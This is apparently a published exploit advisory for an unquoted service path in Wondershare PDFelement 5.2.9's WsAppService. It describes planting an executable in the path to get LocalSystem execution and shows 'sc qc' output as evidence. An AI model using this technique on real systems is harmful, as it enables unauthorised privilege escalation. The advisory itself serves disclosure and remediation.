######################################################################### # Exploit Title: Wondershare PDFelement Unquoted Service Path Privilege Escalation # Date: 10/14/2016 # Author: Saeed Hasanzadeh (Net.Hun73r) # Vendor Homepage: https://www.wondershare.com/ # Software Link: http://download.wondershare.com/inst/pdfelement_setup_full1042.exe #version : 5.2.9 # Tested on: Windows 7 ########################################################################## Wondershare PDFelement installs a service with an unquoted service path To properly exploit this vulnerability, the local attacker must insert an executable file in the path of the service. Upon service restart or system reboot, the malicious code will be run with elevated privileges. ------------------------------------------- C:\>sc qc WsAppService [SC] QueryServiceConfig SUCCESS SERVICE_NAME: WsAppService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\Wondershare\WAF\2.2.3.2\WsAppService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Wondershare Application Framework Service DEPENDENCIES : RPCSS SERVICE_START_NAME : LocalSystem